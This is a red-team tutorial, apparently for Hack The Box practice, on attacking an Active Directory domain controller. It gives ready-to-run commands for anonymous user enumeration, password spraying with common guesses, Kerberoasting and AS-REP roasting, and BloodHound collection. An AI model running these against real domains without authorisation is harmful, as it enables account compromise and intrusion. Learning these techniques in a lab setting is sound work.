Active Directory enumeration: users, LDAP, BloodHound and password spraying

What to do when you find a domain controller: enumerate without credentials, get valid users, spray passwords safely and collect BloodHound data.

· 4 min read

Ports 53, 88, 389 and 445 together mean one thing: you are looking at a domain controller. Every Active Directory attack starts the same way, with an orderly enumeration that answers two questions: which users exist? and what can each of them do? This guide is the first step of the Active Directory red teaming path, and the AD checklist sums it up in tick boxes.

0. Prepare your box

# Domain and DC names (shown by nmap and NetExec)
nxc smb 10.10.10.10
echo '10.10.10.10 dc01.corp.local corp.local dc01' | sudo tee -a /etc/hosts

# The clock: Kerberos fails with more than 5 minutes of skew
sudo ntpdate 10.10.10.10

Tip

Many tools work better if your box uses the DC as its DNS server. With bloodhound-python, for instance, pass -ns 10.10.10.10 so you do not have to touch /etc/resolv.conf.

1. Without credentials

The goal here is a list of valid usernames (LDAP/RPC enumeration).

# Anonymous LDAP (less and less common, but try it)
ldapsearch -x -H ldap://10.10.10.10 -s base namingContexts
ldapsearch -x -H ldap://10.10.10.10 -b 'DC=corp,DC=local' '(objectClass=user)' sAMAccountName description

# Null session or guest over SMB/RPC (more in the SMB enumeration guide)
nxc smb 10.10.10.10 -u '' -p '' --users
nxc smb 10.10.10.10 -u 'guest' -p '' --rid-brute 5000
rpcclient -U '' -N 10.10.10.10 -c 'enumdomusers;querydispinfo'

# Kerberos: check whether names from a list exist (does not lock accounts)
kerbrute userenum -d corp.local --dc 10.10.10.10 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

Watch the description field: finding an initial password nobody changed there is a classic. And with the user list, try AS-REP Roasting straight away, since it needs no password. If there are shares, go through them with the SMB enumeration guide.

2. Password spraying

Spraying means trying one password against many users, rather than many passwords against one. That way no account gets locked (password spraying).

First, check the lockout policy:

nxc smb 10.10.10.10 -u user -p 'Password1' --pass-pol      # with credentials
nxc smb 10.10.10.10 -u '' -p '' --pass-pol                  # sometimes without

If Account Lockout Threshold is 5, do not make more than 3 or 4 attempts per user within the Lockout Observation Window. Then:

# One password against everyone
nxc smb 10.10.10.10 -u users.txt -p 'Autumn2024!' --continue-on-success

# Username as password (surprisingly common)
nxc smb 10.10.10.10 -u users.txt -p users.txt --no-bruteforce --continue-on-success

# Over Kerberos (quieter than SMB in the classic logs)
kerbrute passwordspray -d corp.local --dc 10.10.10.10 users.txt 'Autumn2024!'

Which passwords to try: any you find in files or descriptions (on Resolute a welcome password works for another user), Season+Year (Winter2025), Company123!, Welcome1 and the username itself.

3. With one user: everything else

With any domain user, even an unprivileged one, you can read almost the whole directory.

# Users, groups, computers, descriptions
nxc ldap 10.10.10.10 -u user -p 'Password1' --users
nxc ldap 10.10.10.10 -u user -p 'Password1' --groups
nxc ldap 10.10.10.10 -u user -p 'Password1' -M get-desc-users

# Attacks that only need a user
nxc ldap 10.10.10.10 -u user -p 'Password1' --kerberoasting tgs.txt
nxc ldap 10.10.10.10 -u user -p 'Password1' --asreproast asrep.txt
nxc ldap 10.10.10.10 -u user -p 'Password1' -M adcs          # is there a CA? → ADCS guide
nxc ldap 10.10.10.10 -u user -p 'Password1' -M maq            # can I create computers?
nxc ldap 10.10.10.10 -u user -p 'Password1' --gmsa            # can I read gMSA passwords?
nxc ldap 10.10.10.10 -u user -p 'Password1' -M laps           # and LAPS?

4. BloodHound

BloodHound draws the domain as a graph: who is a member of what, who has rights over whom and where sessions are open. It answers "how do I get from my user to Domain Admin?".

# From Linux
bloodhound-python -d corp.local -u user -p 'Password1' -ns 10.10.10.10 -c All --zip
rusthound-ce -d corp.local -u user -p 'Password1' -i 10.10.10.10 -z
nxc ldap 10.10.10.10 -u user -p 'Password1' --bloodhound -c All --dns-server 10.10.10.10
# From a shell on Windows
.\SharpHound.exe -c All --zipfilename data.zip

Upload the .zip to BloodHound CE and start with:

  1. Mark the users you already control as Owned.
  2. Run Shortest paths from Owned objects and Shortest paths to Domain Admins.
  3. Check each of your users' Outbound Object Control: that is where GenericAll, WriteDacl, ForceChangePassword... show up.
  4. Review groups with special privileges: Remote Management Users (WinRM), Backup Operators, Account Operators, DnsAdmins, Server Operators.

Each arrow in the graph has a specific abuse: they are in the ACL abuse guide. The Active Directory cheat sheet has Cypher queries for what is not built in.

Common errors

  • KRB_AP_ERR_SKEW: the clock. Run ntpdate again or use faketime.
  • BloodHound collects no sessions or local admins: that data is queried on each computer and needs network reach to them. From a domain-joined machine, SharpHound collects more than from outside.
  • STATUS_PASSWORD_MUST_CHANGE while spraying: you hit it, but it must be changed. impacket-changepasswd or smbpasswd -r 10.10.10.10 -U user do it without an interactive session.
  • STATUS_ACCOUNT_LOCKED_OUT: stop the spray immediately and wait for the window to pass.

Examples from the catalogue

Forest (users over RPC, AS-REP and an ACL chain), Cascade (a password in an LDAP attribute), Resolute (spraying a password from a description), Monteverde (username as password) and Cicada (a default password in a share).

What next

With the graph in front of you, pick the path: Kerberoasting, ACLs, certificates or delegation. And as soon as you have a user in Remote Management Users, log in over WinRM (lateral movement).

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

Domain LDAP/RPC enumeration 18 machines

See all 18 machines →

Password spraying and valid users 37 machines

See all 37 machines →

Spotted a mistake or something missing? Tell us